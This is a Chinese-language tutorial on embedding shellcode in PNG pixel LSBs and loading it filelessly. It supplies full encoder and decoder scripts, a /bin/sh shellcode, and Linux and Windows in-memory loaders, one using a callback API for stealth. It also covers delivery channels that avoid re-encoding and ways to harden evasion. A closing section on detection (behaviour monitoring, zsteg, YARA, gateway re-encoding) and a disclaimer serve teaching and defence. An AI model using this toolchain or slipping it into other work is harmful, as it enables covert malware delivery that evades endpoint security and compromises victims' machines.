「幻核-1」在PNG像素里藏一把刀
字数 4590
更新时间 2026-05-19 13:39:14

在PNG像素中隐藏可执行载荷(LSB隐写)与无文件加载技术教学文档

0x00 背景与动机

本教学文档将系统性地阐述如何利用PNG图片格式的特性,通过最低有效位(LSB)隐写技术,将二进制Shellcode等可执行载荷嵌入到图片像素中,并实现不依赖磁盘文件的“无文件”内存加载执行。此技术可用于理解现代终端安全产品的检测盲点,并用于安全研究、渗透测试的合法培训场景。

核心思想:绕过传统基于文件特征(PE头、ELF magic)的静态检测,将载荷伪装成正常的媒体文件。

0x01 PNG格式基础

PNG(Portable Network Graphics)是一种使用无损压缩的位图图形格式。其结构清晰,由一个固定的文件签名(Magic Number)和一系列数据块(Chunk)构成。

PNG文件结构

  1. 文件头签名:固定为8字节 89 50 4E 47 0D 0A 1A 0A

  2. 数据块序列:每个数据块具有统一的格式:

    字段 长度(字节) 说明
    Length 4 数据字段的长度(大端序)
    Type 4 4个ASCII字符,标识块类型
    Data Length 块的实际数据
    CRC32 4 TypeData字段计算的校验和
  3. 关键数据块

    Chunk类型 作用
    IHDR 图片元数据:宽度、高度、色深、颜色类型
    IDAT 包含实际的图像数据,经zlib压缩
    IEND 图片结束标记,数据长度为0
    tEXt / iTXt 可存储文本信息(如版权、作者)
    gAMA / sRGB 色彩空间信息

教学要点:本次隐写操作的目标是IDAT块。PNG的解码流程是:读取IDAT块数据 → zlib解压 → 得到每行带过滤类型的原始像素数据。对于RGBA模式(颜色类型6),每个像素由连续的4个字节表示:R(红)、G(绿)、B(蓝)、A(Alpha透明度)。

0x02 LSB(最低有效位)隐写原理

LSB隐写是一种将信息隐藏在数字媒体(如图像、音频)最低有效位中的技术。其核心原理在于,修改像素颜色通道值(0-255)的最低位(Least Significant Bit, LSB),对人眼感知到的颜色影响微乎其微。

原理分析:一个8位颜色通道值,其最低位仅贡献了1/256 ≈ 0.39%的亮度变化。例如,将R通道值从166 (0b10100110) 改为167 (0b10100111),变化量仅为1,肉眼无法分辨。

嵌入策略与容量:不同策略在容量和隐蔽性之间取得平衡。

策略 每像素可用bit数 256×256图片容量 隐蔽性
仅R通道LSB 1 8 KB
RGB三通道LSB 3 24 KB
RGBA四通道LSB 4 32 KB 中(Alpha改动可能导致半透区域异常)
每通道低2位 6-8 48-64 KB 低(易被统计检测发现)

教学选择:本教程采用RGB三通道LSB策略,不修改Alpha通道。一张256x256的RGBA图片即可提供256*256*3 = 196,608比特(24KB)的隐写空间,足以容纳大部分Shellcode。

0x03 编码器实现

在嵌入载荷前,需将其封装为一个带校验的数据帧,以确保提取时的数据完整性。

1. 数据帧格式

[4字节 payload长度, 小端序] + [payload数据] + [4字节 CRC32校验]

CRC32校验覆盖长度头payload数据。如果图片在传输中被社交平台等重编码,CRC校验会失败,避免了执行损坏的载荷。

2. 完整编码器代码 (steg_encoder.py)

#!/usr/bin/env python3
import struct
import zlib
import sys
from PIL import Image
import numpy as np

def encode_payload(cover_path: str, payload: bytes, output_path: str):
    img = Image.open(cover_path).convert("RGBA")
    pixels = np.array(img)
    h, w, _ = pixels.shape

    # 计算容量(仅使用RGB通道)
    capacity_bits = h * w * 3
    # 构造数据帧
    frame = struct.pack("<I", len(payload)) + payload
    frame += struct.pack("<I", zlib.crc32(frame) & 0xFFFFFFFF)
    required_bits = len(frame) * 8

    if required_bits > capacity_bits:
        raise ValueError(f"载荷过大: 需要 {required_bits} bits, 图片容量 {capacity_bits} bits")

    # 将数据帧展开为比特流 (MSB-first)
    bits = np.unpackbits(np.frombuffer(frame, dtype=np.uint8))
    # 复制RGB通道,展平,修改LSB,再写回
    rgb = pixels[:, :, :3].copy()  # 必须显式拷贝
    flat = rgb.reshape(-1)
    flat[:len(bits)] = (flat[:len(bits)] & 0xFE) | bits  # 修改LSB
    pixels[:, :, :3] = rgb.reshape(h, w, 3)

    result = Image.fromarray(pixels, "RGBA")
    result.save(output_path, "PNG", compress_level=9)  # 最高压缩率
    print(f"[+] 嵌入完成: {len(payload)} bytes payload → {output_path}")
    print(f"    帧: {len(frame)} bytes (4 len + {len(payload)} data + 4 crc)")
    print(f"    容量利用率: {required_bits / capacity_bits * 100:.2f}%")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("用法: python3 steg_encoder.py <封面图片> <载荷文件> <输出图片>")
        sys.exit(1)
    encode_payload(sys.argv[1], open(sys.argv[2], 'rb').read(), sys.argv[3])

关键代码解释

  • pixels[:, :, :3].copy(): 对RGBA数组切片后必须显式拷贝,否则后续reshape操作得到的是副本而非视图,修改不会生效。
  • compress_level=9: 使用最高zlib压缩率。LSB修改对压缩率影响极小(通常变化在几十字节内)。
  • 修改操作 (flat[...] & 0xFE) | bits: & 0xFE用于将最低位清零,| bits用于将数据比特写入最低位。

0x04 解码器实现

解码器从隐写图片中读取像素,提取LSB,重组数据帧,并校验CRC。

完整解码器代码 (steg_decoder.py)

#!/usr/bin/env python3
import struct
import zlib
import sys
from PIL import Image
import numpy as np

def decode_payload(steg_path: str) -> bytes:
    img = Image.open(steg_path).convert("RGBA")
    pixels = np.array(img)
    flat_rgb = pixels[:, :, :3].reshape(-1)

    # 提取所有RGB通道的LSB
    all_lsb = flat_rgb & 1
    # 提取前32bit (4字节),解析为载荷长度
    header_bytes = np.packbits(all_lsb[:32]).tobytes()
    payload_len = struct.unpack("<I", header_bytes)[0]

    # 合理性检查
    max_payload = (len(all_lsb) // 8) - 8
    if payload_len > max_payload or payload_len == 0:
        raise ValueError(f"无效的payload长度: {payload_len}")

    # 提取完整数据帧
    frame_len = 4 + payload_len + 4
    frame = np.packbits(all_lsb[:frame_len * 8]).tobytes()

    # CRC32校验
    stored_crc = struct.unpack("<I", frame[-4:])[0]
    calc_crc = zlib.crc32(frame[:-4]) & 0xFFFFFFFF
    if stored_crc != calc_crc:
        raise ValueError(f"CRC校验失败: stored=0x{stored_crc:08X}, calculated=0x{calc_crc:08X}")

    return frame[4: 4 + payload_len]  # 返回纯载荷

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"用法: {sys.argv[0]} <隐写图片> <输出文件>")
        sys.exit(1)
    payload = decode_payload(sys.argv[1])
    with open(sys.argv[2], "wb") as f:
        f.write(payload)
    print(f"[+] 提取成功: {len(payload)} bytes → {sys.argv[2]}")

0x05 实践操作

1. 准备工作

  • 安装依赖:sudo apt install python3-pil python3-numpy
  • 生成一张测试用的封面图片 (cover.png)。
  • 准备Shellcode。例如,一段x86-64 Linux的execve("/bin/sh") Shellcode:
    sc = bytes.fromhex('4831f65648bb2f62696e2f736800534889e74831d2b03b0f05')
    open('shellcode.bin','wb').write(sc)
    

2. 嵌入载荷

python3 steg_encoder.py cover.png shellcode.bin stego.png

3. 验证

  • 使用file命令检查,stego.png仍然是合法的PNG文件。
  • 对比文件大小,差异通常只有几字节,源于zlib压缩率的微小变化。
  • 提取载荷并验证:
    python3 steg_decoder.py stego.png extracted.bin
    diff shellcode.bin extracted.bin  # 应无输出,表示完全一致
    

4. 实验效果
隐写后的图片与原始图片在视觉上完全无法区分。即使将差异放大128倍,也只有极少数像素点(承载了数据的像素)的LSB有变化,在画面上几乎全黑。

0x06 无文件加载:从像素到代码执行

提取出Shellcode后,关键步骤是不将其写入磁盘文件,直接在内存中分配可执行空间并跳转执行。

1. Linux方案:使用mmap分配匿名内存

  • 基础方案(分配RWX内存)
    void* mem = mmap(NULL, sc_len, PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    memcpy(mem, sc, sc_len);
    ((void (*)(void))mem)();
    
  • W^X策略适配方案(先RW,后RX):现代系统(如开启了SELinux)可能强制执行“写与执行互斥”(W^X)。此时需要两步:
    // 1. 分配可读写(RW)内存
    void* mem = mmap(NULL, sc_len, PROT_READ | PROT_WRITE,
                     MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
    memcpy(mem, sc, sc_len);
    // 2. 修改内存保护为可读可执行(RX)
    mprotect(mem, sc_len, PROT_READ | PROT_EXEC);
    ((void (*)(void))mem)();
    
  • 另一种选择是memfd_create(),它创建一个匿名的内存文件描述符,适用于需要fexecve执行完整ELF的场景。

2. Windows方案:使用VirtualAllocVirtualProtect

#include <windows.h>
void exec_shellcode(unsigned char* sc, size_t len) {
    // 1. 分配可读写内存
    void* mem = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(mem, sc, len);
    // 2. 改为可执行(RX)
    DWORD oldProtect;
    VirtualProtect(mem, len, PAGE_EXECUTE_READ, &oldProtect);
    // 3. 通过合法API回调间接执行,增加隐蔽性
    EnumSystemLocalesA((LOCALE_ENUMPROCA)mem, 0);
}

0x07 完整攻击链分析

攻击链可分为四个阶段:

  1. 准备阶段:攻击者选取封面图片,使用编码器将加密/未加密的Shellcode嵌入PNG的LSB中。
  2. 武器化阶段:生成隐写PNG。文件格式合法,MIME类型为image/png,静态扫描无告警,任何图片查看器均可正常渲染。[](@replace=7)
  3. 投递阶段:通过邮件附件、网页<img>标签、即时通讯等渠道发送。注意:微信、Twitter、Facebook等平台通常会对上传的图片进行重编码,这会破坏LSB数据。需选择不重编码的信道,如邮件附件、自建Web服务器或某些网盘直链。
  4. 执行阶段:目标主机上的加载器(Loader)执行以下操作:
    a. 读取PNG文件。
    b. 解码像素,提取LSB,重组并校验数据帧。
    c. 在内存中分配可读、可写、可执行(或先写后改可执行)的区域。
    d. 将Shellcode复制到该内存区域。
    e. 跳转到该内存区域执行。

全程无可执行文件(如.exe, .elf)落盘,绕过了基于文件特征的检测。

0x08 对抗与检测

攻击方的对抗增强手段

  1. 载荷加密:嵌入前使用流密码(如ChaCha20, AES-CTR)加密Shellcode。密文在统计上呈现随机性,与自然图片的LSB随机分布更相似,增加检测难度。
  2. 随机化嵌入位置:不使用从第一个像素开始的线性嵌入。利用密钥通过哈希函数生成一个伪随机的像素访问序列(Fisher-Yates Shuffle),只有持有密钥者才知道数据的嵌入顺序。
  3. 选择高频区域嵌入:对图片进行边缘检测(如Laplacian滤波),优先在纹理复杂、高频的区域(如物体边缘、噪点)嵌入数据。这些区域本身的LSB就较为随机,修改后更不易被统计方法发现。

防御方的检测与缓解手段

  1. 行为检测:隐写在静态层面特征弱,但加载执行阶段的行为模式明显,是主要的检测突破口。监控点包括:

    • 分配同时具有WRITEEXECUTE权限的匿名内存(mmap with PROT_EXECVirtualAlloc with PAGE_EXECUTE_READWRITE)。
    • 权限从WRITEEXECUTE的切换(mprotectVirtualProtect)。
    • 非典型进程(如办公软件、服务进程)突然加载图片处理库(如libpng, GDI+)。
    • memfd_create系统调用后紧接fexecve调用。
  2. 隐写分析工具

    • zsteg:Ruby工具,可快速检测PNG/BMP中的LSB隐写。
      gem install zsteg
      zsteg suspicious.png
      
    • StegExpose:基于RS分析、卡方检验等统计方法的Java自动化检测工具。
  3. 网关重编码:在网络出口对传输的图片进行有损转码(例如PNG→JPEG→PNG,或改变PNG的压缩级别)。这会破坏LSB中的隐藏数据,但会牺牲一定的图片质量。

  4. 内存YARA扫描:载荷最终需要在内存中展开,可配置YARA规则扫描进程内存,查找Shellcode特征(如系统调用指令0F 05,字符串/bin/sh等)。

0x09 其他可利用的文件格式

PNG并非唯一选择,其他常见格式也可用于隐写:

格式 隐写位置 特点
BMP 像素值直接存储,无压缩 简单,但文件体积大,如今不常见,易引起怀疑
JPEG DCT变换系数的LSB 有损压缩,每次保存都会改变系数,需在频域操作(如F5, Jsteg算法)
WAV PCM采样值的LSB 容量巨大——1分钟CD音质音频可隐藏约1MB数据
GIF 调色板索引的排列 容量较小,但在Web上极常见
PDF 对象流、空白字符、增量更新 可利用文档结构中的冗余空间

0x0A 总结与要点

本教学完整演示了利用PNG LSB隐写结合无文件加载的技术链条。其核心优势在于将可执行载荷从“文件”形态中剥离,利用合法格式的冗余空间进行隐藏,从而绕过依赖文件特征的静态安全检测。

关键要点

  1. 容量可观:一张256x256的PNG可隐藏约24KB数据。一张1920x1080的照片容量可达750KB以上,足以容纳复杂的载荷。
  2. 隐蔽性强:LSB修改对视觉效果和文件大小的影响微乎其微,能通过常规检查。
  3. 弱点在行为层:最终的内存分配与执行行为(RWX内存、图片解码库的异常加载)是EDR/AV检测的主要依据。
  4. 传输信道敏感:社交媒体的图片重编码会破坏LSB数据,需选择不进行二次压缩的传输方式。

重要声明:本文所述的所有技术、代码示例仅限用于网络安全学习、授权渗透测试、合规的威胁研究与防护方案构建。严禁将其用于任何未经授权的非法入侵、破坏系统、窃取信息等违法犯罪活动。

相似文章
相似文章
 全屏